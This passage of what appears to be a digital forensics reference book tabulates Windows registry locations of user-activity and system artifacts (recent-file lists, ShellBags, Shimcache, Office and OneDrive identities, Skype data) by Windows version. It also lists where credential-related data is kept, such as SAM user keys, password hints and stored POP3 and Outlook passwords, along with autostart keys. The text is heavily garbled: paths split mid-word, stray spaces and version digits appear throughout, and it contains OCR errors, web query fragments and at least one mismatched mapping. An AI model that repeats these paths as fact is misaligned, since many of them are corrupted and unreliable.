SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Print\Print
ers\
Installed Windows
Apps
8
1
0
UsrClass.dat\Local
Settings\Software\ Microsoft\
Windows\CurrentVersion\ AppCo
ntainer\Storage
Interface class GUID
7 8
1
0
SYSTEM\ControlSet001\Control\
DeviceClasses\ {10497b1b-
ba51- 44e5-8318-a65c837b6661}
Internet Explorer 1
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Internet Explorer
Internet Explorer 2
7
HKEY_CURRENT_USER\Software\Mi
crosoft\InternetExplorer\Type
dUrls
iPhone, iPad Mounting
8
1
0
SYSTEM\ControlSet001\Enum\USB
\
Jump List on Taskbar
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\[Taskband Favorites and
FavoritesResolve]
Jump List on Taskbar
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
lorer\ Taskband / Favorites
and FavoritesResolve
Jumplist Settings
HKCU\Software\Microsoft\Windo
ws\CurrentVersion\Explorer\Ad
vanced\
Kazaa
NTUSER.DAT\Software\Kazaa\*
KaZaA Credentials
X
P
HKEY_USERS\USER_HDD003_A\Soft
ware\KAZAA\UserDetails
391
LANDesk softmon
utility monitors
application execution
HKLM\SOFTWARE\[Wow6432Node]\L
ANDesk\ManagementSuite\WinCli
ent\SoftwareMonitoring\Monito
rLog\
Last Accessed Date
and Time setting
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
FileSystem\NtfsDisableLastAcc
ess Update Value
Last Defrag
1
0
SOFTWARE\Microsoft\Dfrg\Stati
stics\Volume
Last Failed Login
7
SAM\Domains\Account\Users\F
Key
Last Logged on User
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\Authentication\
LogonUI
Last Logon Time
7
SAM\Domains\Account\Users\F
Key
Last Theme
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Theme
s\Last Theme
Last Time Password
Changed
7
SAM\Domains\Account\Users\F
Key
Last Visited MRU
X
P
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\ComDlg32\LastVisitedMRU
Last Visited MRU
7 8
1
0
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\ComDlg32\LastVisitedPidlM
RU
Last-Visited MRU
X
P
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\ComDlg32\ LastVisitedMRU
Last-Visited MRU
7 8
1
0
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\ComDlg32\LastVisitedPidlM
RU
Links a
ConnectedDevicePlatfo
rm PlatformDeviceId
to the name, type,
etc of the device
1
0
HKCU\Software\Microsoft\Windo
ws\CurrentVersion\TaskFlow\De
viceCache
Live Account ID
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Office\15.0\Common\Identity\
Identities\_LiveId
Live Account ID
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\IdentityCRL\UserExtendedProp
erties\/ cid
Live Account ID
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\AuthCookies\Live\Default\CAW
/ Id
392
Local Group List by
RID
7
SAM\Domains\Builtin\Aliases\
Local Group Names
7
SAM\Domains\Builtin\Aliases\N
ames
Local Groups
Identifiers
7
SAM\Domains\Builtin\Aliases\N
ames
Local Searches from
Search Charm
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ SearchHistory\Microsoft
.Windows. FileSearch App
Local Settings
UsrClass.dat
Local User Names
X
P
7 8
1
0
SAM\SAM\Domains\Account\Users
\ Names
Local User Security
Identifiers
7
SAM\Domains\Account\Users\Nam
es
Logged In Winlogon
X
P
7 8
1
0
SOFTWARE\\Microsoft\Windows
NT\ CurrentVersion\Winlogon
Logon Banner Caption
and Message
X
P
8
1
0
SOFTWARE\\Microsoft\Windows\
CurrentVersion\Policies\Syste
m / LegalNoticeCaption and
LegalNoticeText
Logon Banner Message
7
SOFTWARE\Microsoft\Windows\Cu
rrentVersion\Policies\System\
LegalNoticeText
Logon Banner Title
7
SOFTWARE\Microsoft\Windows\Cu
rrentVersion\Policies\System\
LegalNoticeCaption
LPT Device
Information
7
SYSTEM\ControlSet###\Enum\LPT
ENUM\
LPT Device
Information
X
P
7 8
1
0
SYSTEM\ControlSet###\Enum\ LP
TENUM\
LPTENUM Enumeration
X
P
7 8
1
0
SYSTEM\ControlSet001\Enum\ LP
TENUM\\
Machine SID Location
7
SAM\Domains\Account/V
Machine SID Location
X
P
7 8
1
0 SAM\SAM\Domains\Account / V
Map Network Drive MRU
X
P
7
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\Map Network Drive MRU
Media Player 10
Recent List
7
NTUSER.DAT\Software\Microsoft
\MediaPlayer\Player\RecentFil
eList
Media Player Recent
List
X
P
NTUSER.DAT\Software\Microsoft
\ MediaPlayer\Player\RecentFi
leList
Memory Saved During
Crash
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
CrashControl / DumpFile
Memory Saved During
Crash Enabled
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
CrashControl /
CrashDumpEnabled
393
Memory Saved Path
During Crash
7
SYSTEM\ControlSet###\Control\
CrashControl\DumpFile
Memory Saved While
Crash Detail
7
SYSTEM\ControlSet###\Control\
CrashControl\CrashDumpEnabled
Messenger Contacts
X
P
HKEY_USERS\Software\Microsoft
\InternetExplorer\TypedUrls
Microsoft Access 2007
MRU
7
NTUSER.DAT\Software\Microsoft
\Office\12.0\Access\Settings
Microsoft Access 2007
MRU Date
7
NTUSER.DAT\Software\Microsoft
\Office\12.0\Access\Settings
Monitors Currently
Attached
8
1
0
SYSTEM\ControlSet001\services
\ monitor\Enum
Mounted Devices
X
P
7 8
1
0 SYSTEM\MountedDevices
Mounted Devices
X
P
7 8
1
0 SYSTEM\MountedDevices
MRU Live Account
1
0
NTUSER\SOFTWARE\Microsoft\Off
ice\15.0\Word\User
MRU\LiveId#>\File MRU
MRU Non Live Account
1
0
NTUSER\SOFTWARE\Microsoft\Off
ice\15.0\Word\File MRU
MRUs Common Dialog
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersions\Expl
orer\ComDlg32
mTorrent Build
7
HKEY_USERS\(SID)\Software\Bit
Torrent\(BitTorrent Client
Name)\
mTorrent File Types
7
HKEY_CURRENT_USER\(SID)\Softw
are\Classes\.btsearch\:
"mTorrent"
mTorrent Install Path
7
HKEY_USERS\(SID)\Software\Cla
sses\Applications\mTorrent.ex
e\shell\open\command
MuiCache Post Vista
7 8
1
0
UsrClass.dat\Local
Settings\Software\ Microsoft\
Windows\Shell\MuiCache
MuiCache Post Vista
7 8
1
0
UsrClass.dat\Local
Settings\MuiCache\#\ 52C64B7E
MUICache Vista
NTUSER.DAT\Software\Microsoft
\ Windows\Shell\MUICache
MuiCache XP
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\ShellNoRoam\MUICach
e
Network - Computer
Description
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ ComputerDescriptions
Network - Mapped
Network Drive MRU
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ Map Network Drive MRU
394
Network Cards
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\ CurrentVersion\ NetworkCa
rds\#
Network History
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\NetworkList
\Signatures\Unmanaged
Network History
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\NetworkList
\Signatures\Managed
Network History
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\NetworkList
\Nla\Cach
Network Workgroup
Crawler
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\WorkgroupCrawler\Shares
Network Workgroup
Crawler
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ WorkgroupCrawler\Shares
Nikon View Photo
Editor MRU
NTUSER.DAT\Software\Nikon\ Ni
konViewEditor\6.0\Recent File
List
NTUSER Info
HKEY_USERS\
Number of Processors
in System
7
SYSTEM\ControlSet###\Control\
Session
Manager\Environment\NUMBER_OF
_PROCESSORS
Number of Processors
in System
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
Session Manager\Environment /
NUMBER_OF_PROCESSORS
Office Access 2007
MRU
NTUSER.DAT\Software\Microsoft
\Office\12.0\Access\ Settings
Office Access 2007
MRU Dates
NTUSER.DAT\Software\Microsoft
\Office\12.0\Access\Settings
Office Access MRU
NTUSER.DAT\Software\Microsoft
\Office\\\Access\File MRU
Office Access Recent
Databases
NTUSER.DAT\Software\Microsoft
\Office\\ Common\Open
Find\ Microsoft Office
Access\Settings\File New
Database\File Name MRU
Office Access Trusted
Documents RU
NTUSER.DAT\Software\Microsoft
\Office\\Access\Security\Trus
ted Documents\TrustRecords
Office Access Trusted
Locations MRU
NTUSER.DAT\Software\Microsoft
\ Office\Access\Security\ Tru
sted Locations\Location2
Office Excel Autosave
(File Recovery)
NTUSER.DAT\Software\Microsoft
\ Office\ver#\Excel\ Resilien
cy\ Document Recovery\
395
Office Excel MRU
NTUSER.DAT\Software\Microsoft
\ Office\\Excel\File MRU
Office Excel MRU Live
Account
NTUSER.DAT\Software\Microsoft
\ Office\\Excel\User
MRU\LiveId_\File MRU
Office Excel Place
MRU
NTUSER.DAT\Software\Microsoft
\ Office\\Excel\Place MRU
Office Excel Place
MRU Live Account
NTUSER.DAT\Software\Microsoft
\ Office\\Excel\User
MRU\LiveId_\Place MRU
Office Excel Recent
Spreadsheets
NTUSER.DAT\Software\Microsoft
\office\\Common\Open
Find\ Microsoft Office
Excel\Settings\ Save As\File
Name MRU
Office Excel Trusted
Documents MRU
NTUSER.DAT\Software\Microsoft
\ Office\\Excel\Security\Trus
ted Documents
Office Excel Trusted
Locations MRU
NTUSER.DAT\Software\Microsoft
\ Office\\Excel\Security\Trus
ted Locations
Office PowerPoint
Autosave (File
Recovery)
NTUSER.DAT\Software\Microsoft
\ Office\\ PowerPoint\Resilie
ncy\ DocumentRecovery\
Office PowerPoint MRU
NTUSER.DAT\Software\Microsoft
\ Office\ver#\PowerPoint\ Fil
eMRU
Office PowerPoint MRU
Live Account
NTUSER.DAT\Software\Microsoft
\ Office\\PowerPoint\User
MRU\ LiveId_\File MRU
Office PowerPoint
Place MRU
NTUSER.DAT\Software\Microsoft
\ Office\\PowerPoint \Place
MRU
Office PowerPoint
Place MRU Live
Account
NTUSER.DAT\Software\Microsoft
\ Office\\PowerPoint\User
MRU\ LiveId_\Place MRU
Office PowerPoint
Recent PPTs
NTUSER.DAT\Software\Microsoft
\ office\ver#\ Common\Open
Find\ Microsoft Office
PowerPoint\Settings\ Save
As\File Name MRU
Office PowerPoint
Trusted Documents MRU
NTUSER.DAT\Software\Microsoft
\ Office\\PowerPoint\Security
\ Trusted
Documents\TrustRecords
Office PowerPoint
Trusted Locations MRU
NTUSER.DAT\Software\Microsoft
\ Office\\PowerPoint\Security
\ Trusted Locations\Location#
Office Publisher MRU
NTUSER.DAT\Software\Microsoft
\ Office\\Publisher\File MRU
396
Office Publisher
Recent Documents
NTUSER.DAT\Software\Microsoft
\ office\\ Common\Open
Find\ Microsoft Office
Publisher\Settings\ Save
As\File Name MRU
Office Word Autosave
(File Recovery)
NTUSER.DAT\Software\Microsoft
\ Office\\Word\Resiliency\ Do
cument Recovery\
Office Word MRU
NTUSER.DAT\Software\Microsoft
\ Office\\Word\File MRU
Office Word MRU Live
Account
NTUSER.DAT\Software\Microsoft
\ Office\\Word\User
MRU\ LiveId_\File MRU
Office Word OneDrive
Synch Roaming
Identities
1
0
NTUSER.DAT\Software\Microsoft
\ Office\\Common\Roaming\ Ide
ntities\Settings\1133\\ ListI
tems\\
Office Word Place MRU
NTUSER.DAT\Software\Microsoft
\ Office\\Word\Place MRU
Office Word Place MRU
Live Account
NTUSER.DAT\Software\Microsoft
\ Office\\Word\User
MRU\ LiveId_\Place MRU
Office Word Reading
Locations
NTUSER.DAT\Software\Microsoft
\ Office\\Word\Reading
Locations\Document#
Office Word Recent
Docs
NTUSER.DAT\Software\Microsoft
\ office\\ Common\Open
Find\ Microsoft
Office\Word\Settings\Save
As\File Name MRU
Office Word Trusted
Documents MRU
NTUSER.DAT\Software\Microsoft
\Office\\Word\Security\Truste
d Documents
Office Word Trusted
Locations MRU
NTUSER.DAT\Software\Microsoft
\ Office\14.0\Word\Security\T
rusted Locations\Location#
Office Word User Info
NTUSER.DAT\Software\Microsoft
\ office\\Common\UserInfo
OneDrive App Info
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\ OneDrive
OneDrive User ID and
Login URL
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\ AuthCookies\Live\Default\CA
W
OneDrive User ID
Associated with User
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\ IdentityCRL\UserExtendedPro
perties\/ cid
OneDrive User ID,
Live ID
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\ Office\\Common\Identity\Ide
ntities\_LiveId
397
OneNote User
Information
1
0
Settings.dat\LocalState\ HKEY
_CURRENT_USER\Software\ Micro
soft\Office\16.0\Common\ Iden
tity\Identities\_LiveId
Open/Save MRU
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\ComDlg32\OpenSaveMRU
Open/Save MRU
7 8
1
0
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\ComDlg32\OpenSavePIDlMRU
Open/Save MRU
X
P
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\ComDlg32\OpenSaveMRU
Outlook 2007 Account
Passwords
7
NTUSER.DAT\Software\Microsoft
\Protected Storage
SystemProvider\SID\Identifica
tion\INETCOMM Server
Passwords
Outlook 2007 Recent
Attachments
7
NTUSER.DAT\Software\Microsoft
\office\version\Common\Open
Find\Microsoft Office
Outlook\Settings\Save
Attachment\File Name MRU
Outlook 2007 Temp
file location
7
NTUSER.DAT\Software\Microsoft
\Office\version\Outlook\Secur
ity
Outlook Account
Passwords
NTUSER.DAT\Software\Microsoft
\ Protected Storage System
Provider\SID\ Identification\
INETCOMM Server Passwords
Outlook Accounts
X
P
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Internet Account
Manager
Outlook Recent
Attachments
NTUSER.DAT\Software\Microsoft
\ office\version\ Common\Open
Find\ Microsoft Office
Outlook\Settings\Save
Attachment\File Name MRU
Outlook Settings
X
P
HKEY_USERS\(User_ID)\Software
\Microsoft\Office\Outlook\OMI
Account Manager\Accounts\
Outlook Temporary
Attachment Directory
NTUSER.DAT\Software\Microsoft
\Office\version\ Outlook\Secu
rity
Pagefile Control
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
Session Manager\Memory
Management
Pagefile Settings
7
SYSTEM\ControlSetXXX\Control\
Session Manager\Memory
Management
398
Paint MRU
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Apple
ts\Paint\Recent File List
Paint MRU List
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Appl
ets\ Paint\Recent File List
PAP Device Interface
7 8
1
0
SYSTEM\ControlSet001\Control\
DeviceClasses\{f33fdc04-
d1ac-4e8e- 9a30-19bbd4b108ae}
Partition Management
Driver Service
X
P
7 8
1
0
SYSTEM\ControlSet001\services
\ partmgr\Enum
Password Face Enabled
1
0
SOFTWARE\Software\Microsoft\
Windows\CurrentVersion\ Authe
ntication\LogonUI\FaceLogon\
Password Fingerprint
Enabled
8
1
0
SOFTWARE\Software\Microsoft\
Windows\CurrentVersion\ Authe
ntication\LogonUI\ Fingerprin
tLogon\
Password Hint
7
SAM\Domains\Account\Users\\F_
Value\UserPasswordHint
Password Hint XP
X
P
SOFTWARE\Microsoft\Windows\ C
urrentVersion\Hints\
Password Picture
Gesture
8
1
0
SOFTWARE\Software\Microsoft\
Windows\CurrentVersion\ Authe
ntication\LogonUI\PicturePass
word\/ bgPath
Password PIN Enabled
8
1
0
SOFTWARE\Software\Microsoft\
Windows\CurrentVersion\ Authe
ntication\LogonUI\ PINLogonEn
rollment\
Passwords Cached
Logon Password
Maximum
X
P
SOFTWARE\Microsoft\Windows
NT\ CurrentVersion\Winlogon
PCI Bus Device
Information
7
SYSTEM\ControlSet###\Enum\PCI
PCI Bus Device
Information
X
P
7 8
1
0 SYSTEM\ControlSet###\Enum\PCI
PCI Enumeration
X
P
7 8
1
0
SYSTEM\ControlSet001\Enum\ PC
I\\
Photos App Associated
User
1
0 Settings.dat\LocalState\OD\
Place MRU
1
0
NTUSER\SOFTWARE\Microsoft\Off
ice\15.0\Word\User
MRU\LiveId#>\Place MRU
POP3 Passwords
X
P
NTUSER.DAT\Software\Microsoft
\Internet Account
Manager\Accounts\0000000#
POP3 Passwords
X
P
NTUSER.DAT\Software\Microsoft
\ Internet Account
Manager\Accounts\ 0000000#
399
Portable Operating
System Drive
8
1
0
SYSTEM\ControlSet001\Control
/ PortableOperatingSystem
PowerPoint 2007
Autosave Info
7
NTUSER.DAT\Software\Microsoft
\Office\12.0\PowerPoint\Resil
iency\DocumentRecovery\
PowerPoint 2007 MRU
7
NTUSER.DAT\Software\Microsoft
\Office\12.0\PowerPoint\File
MRU
Pre-Logon Access
Provider
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\Authentication\PLAP
Providers\*
Pre-Logon Access
Provider
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\Authentication
\PLAP Providers\*
Prefetch Information
7
SYSTEM\ControlSet###\Control\
Session Manager\Memory
Management\PrefetchParameters
\EnablePrefetcher
Printer Default
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows
NT\CurrentVersion\Windows\ De
vices
Printer Default
X
P
7 8
1
0
NTUSER.DAT\printers\DevModesP
er User and DevModes#
Printer Information
7
SYSTEM\ControlSet###\Control\
Print\Environments\WindowsNTx
86\Drivers\Version#
Printer Properties
for Installed
Printers
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\ CurrentVersion\Print\Prin
ters\
Product ID
7
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProductId
Product Name
7
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProductName
Profile list
X
P
7 8
1
0
SOFTWARE\\Microsoft\Windows
NT\ CurrentVersion\ProfileLis
t
Program Compatibility
Assistant (PCA)
Archive for Apps
8
NTUSER.DAT\Software\Microsoft
\Windows
NT\CurrentVersion\AppCompatFl
ags\Layers
Program Compatibility
Assistant
(PCA)Tracking of User
Launched Applications
8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows
NT\CurrentVersion\ AppCompatF
lags\Compatibility
Assistant\Store
400
Program Compatibility
Assistant Archive for
Apps
7
SOFTWARE\Software\Microsoft\
Windows
NT\CurrentVersion\AppCompatFl
ags\Layers
Publisher 2007 MRU
7
NTUSER.DAT\Software\Microsoft
\Office\12.0\Publisher\Recent
File List
Reading Locations
1
0
NTUSER\SOFTWARE\Microsoft\Off
ice\15.0\Word\Reading
Locations
ReadyBoost
Attachments
7
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\EMDMgmt\
ReadyBoost
Attachments, USB
Identification
7 8
1
0
SOFTWARE\Microsoft\Windows
NT\ CurrentVersion\ EMDMgmt\
ReadyBoost Driver
8
1
0
SYSTEM\ControlSet001\services
\ rdyboost\Enum
Recent Docs
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
rer\RecentDocs\.&input=
Recent Docs MRU
Recent Documents
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
lorer\ RecentDocs\
Recent Documents
7
HKEY_CURRENT_USER\Software\Mi
crosoft\Windows\CurrentVersio
n\Explorer\RecentDocs
Recent Documents
HKEY_
CURRENT_USER\Software\Microso
ft\Windows\CurrentVersion\Exp
lorer\ComDlg32\OpenSaveMRU
RecentApps
1
0
NTUSER.DAT\Software\Microsoft
\Windows\Current
Version\Search\RecentApps
RecentDocs
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
rer\RecentDocs
RecentDocs
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
rer\RecentDocs\.iso
RecentDocs
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
rer\RecentDocs\.vhd
RecentDocs for .jpg
1
0
NTUSER\SOFTWARE\Microsoft\Win
dows\CurrentVersion\Explorer\
RecentDocs\.jpg
RecentDocs for .jpg
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
rer\RecentDocs\.jpg&ls=0&b=0
401
Recycle Bin Info
1
0
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\BitBucket\Volume\
Recycle Bin Info
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ BitBucket\Volume\
Recycle Bin Info XP
X
P
SOFTWARE\Microsoft\Windows\ C
urrentVersion\Explorer\BitBuc
ket\
References devices,
services, drivers
enabled for Safe
Mode.
HKLM\System\CurrentControlSet
\Control\SafeBoot
Regedit - Favorites
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\ Ap
plets\Regedit\ Favorites
Regedit - Last Key
Saved
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Appl
ets\ Regedit / LastKey
Regedit Last Key
Saved
1
0
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Apple
ts\Regedit\LastKey
Register.com search
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
rer\FileExts / .com
Registered
Applications
7 8
1
0
SOFTWARE\RegisteredApplicatio
ns /
Registered
Organization
7
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredO
rganization
Registered Owner
7
SOFTWARE\Microsoft\Windows
NT\CurrentVersion\RegisteredO
wner
Registry Windows 7 32
Bit Shim Cache
7
HKLM\System\CurrentControlSet
\Control\Session
Manager\AppCompatCache\AppCom
patCache
Registry Windows
7 List Mounted
Devices
7
HKLM\System\MountedDevices\
Registry Windows
7 Network Adapter
Configuration
7
HKLM\System\CurrentControlSet
\Services\Tcpip\Parameters\In
terfaces\(interface-name)\
Registry Windows
7 Network List
Profiles
7
HKLM\Software\Microsoft\Windo
wsNT\CurrentVersion\NetworkLi
st\Profiles\{GUID}\
Registry Windows 7
List Applications
Installed
7
HKLM\Software\Microsoft\Windo
ws\CurrentversionXUninstall\{
Application. Name)
402
Registry Windows 7
Security Audit
Policies
7
HKLM\Security\Policy
Registry Windows 7
Time Zone Information
7
HKLM\System\CurrentControlSet
\Control\TimeZonelnformation
Registry Windows 7
User Profile Logon
7
HKLM\Software\Microsoft\Windo
wsNT\CurrentVersion\ProfileLi
st\{SID}\
Registry Windows 7
Winlogon shell
7
HKLM\SOFTWARE\Microsoft\Windo
ws
NT\CurrentVersion\Winlogon\Sh
ell
Remote Desktop
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
Terminal Server /
fDenyTSConnections
Remote Desktop
Information
7
SYSTEM\ControlSet###\Control\
Terminal
Server\fDenyTSConnections
Roaming Identities
(1125 PowerPoint,
1133 Word, 1141
Excel)
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Office\15.0\Common\Roaming\I
dentities\\
Run Box Recent
commands
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\RunMRU
Run MRU
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ RunMRU
Run subkey - Active
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run /
OneDrive
Run, Startup
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Run
Screen Saver Enabled
7
NTUSER.DAT\Control
Panel\Desktop/ScreenSaveActiv
e
Screen Saver Enabled
X
P
7 8
1
0
NTUSER.DAT\Control
Panel\Desktop /
ScreenSaveActive
Screen Saver Password
Enabled
7
NTUSER.DAT\Control
Panel\Desktop/ScreenSaverIsSe
cure
Screen Saver Secure
Password Enabled
X
P
7 8
1
0
NTUSER.DAT\Control
Panel\Desktop /
ScreenSaverIsSecure
Screen Saver Timeout
7
NTUSER.DAT\Control
Panel\Desktop/ScreenSaveTimeO
ut
403
Screen Saver Timeout
X
P
7 8
1
0
NTUSER.DAT\Control
Panel\Desktop /
ScreenSaveTimeOut
Screen Saver
Wallpaper
7
NTUSER.DAT\Control
Panel\Desktop/WallPaper
Screen Savers and
Wallpaper
X
P
7 8
1
0
NTUSER.DAT\Control
Panel\Desktop\
SCSI Device
Information
7
SYSTEM\ControlSet###\Enum\SCS
I
SCSI Device
Information
X
P
7 8
1
0
SYSTEM\ControlSet###\Enum\SCS
I
SCSI Enumeration
7 8
1
0
SYSTEM\ControlSet001\Enum\ SC
SI\\
Search Charm Entries
for Internet
Addresses and Sites
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ SearchHistory\DefaultBr
owser_
NOPUBLISHERID!Microsoft.Inter
net Explorer. Default
Search WordWheelQuery
7
1
0
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\WordWheelQuery
Serial Port Device
Information
7
SYSTEM\ControlSet###\Enum\SER
ENUM
Services
X
P
7 8
1
0 SYSTEM\ControlSet###\Services
Services List
7
SYSTEM\ControlSet###\Services
Session Manager
Execute
HKEY_LOCAL_MACHINE\System\Cur
rentControlSet\Control\Sessio
n Manager
Shared data to: e-
mail
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
rer\SharingMFU
Shared Folders,
Shared Printers
X
P
7 8
1
0
SYSTEM\ControlSet###\Services
\ LanmanServer\ Shares /
Shared Photos
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
rer\SharingMFU
Shared photos
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
rer\SharingMFU
Sharing MFU
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ SharingMFU
Shell Bags
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\Shell\Bags\1\Desktop
Shell Bags
7 8
1
0
UsrClass.dat\Local\Settings\S
oftware\ Microsoft\Windows\Sh
ell\Bags
404
Shell Bags
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\Shell\Bags\1\Deskto
p
Shell Bags
UsrClass.dat\Local\Settings\S
oftware\ Microsoft\Windows\Sh
ell\BagMRU
Shell Execute Hooks
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\Explorer\ShellExecuteHooks
\*
Shell Execute Hooks
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\Explorer\Shell
ExecuteHooks\*
Shell Extensions
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\Shell Extensions\Approved
Shell Extensions
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\Shell
Extensions\Approved
Shell Extensions
HKEY_USERS\%SID%\Software\Mic
rosoft\Windows\CurrentVersion
\Shell Extensions\Approved
Shell Extensions
HKEY_USERS\%SID%\Software\Wow
6432Node\Microsoft\Windows\Cu
rrentVersion\Shell
Extensions\Approved
Shell Load and Run
HKEY_CURRENT_USER\Software\Mi
crosoft\Windows
NT\CurrentVersion\Windows
Shell Load and Run
HKEY_CURRENT_USER\Software\Wo
w6432Node\Microsoft\Windows
NT\CurrentVersion\Windows
ShellBags
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\Shell\ BagMRU
ShellBags
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\Shell\ Bags
ShellBags
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\Shell\ShellNoRoam\
BagMRU
ShellBags
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\Shell\ShellNoRoam\B
ags
Shim Cache
X
P
HKLM\SYSTEM\CurrentControlSet
\Control\SessionManager\AppCo
mpatibility\AppCompatCache
Shimcache
X
P
SYSTEM\CurrentControlSet\Cont
rol\SessionManager\AppCompati
bility
405
Shimcache
7 8
1
0
SYSTEM\CurrentControlSet\Cont
rol\Session
Manager\AppCompatCache
Shutdown Time
7
SYSTEM\ControlSetXXX\Control\
Windows\ShutdownTime
Shutdown Time
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
Windows / ShutdownTime
SkyDrive E-Mail
Account Name
8
Settings.dat\LocalState\Platf
orm
SkyDrive User Name
8
settings.dat\RoamingState
Skype App Install
1
0
HKEY_CLASSES_ROOT\Activatable
Classes\Package\Microsoft.Sky
peApp_3.2.1.0_x86__kzf8qxf38z
g5c
Skype Assoc. Files 1
1
0
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\MIME\Database\Content
Type\application/x-skype
Skype Assoc. Files 2
1
0
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\.skype
Skype Assoc. Files 3
1
0
HKEY_CURRENT_USER\SOFTWARE\Cl
asses\.skype
Skype Assoc. Files 4
1
0 HKEY_CLASSES_ROOT\.skype
Skype Cached IP Data
HKEY_CURRENT_USER\Software/SK
YPE/PHONE/LIB/Connection/HOST
CACHE
Skype Install Path
1
0
HKEY_CURRENT_USER\SOFTWARE\Sk
ype\Phone
Skype Installation
1
0
HKEY_CLASSES_ROOT\AppX(Random
Value)
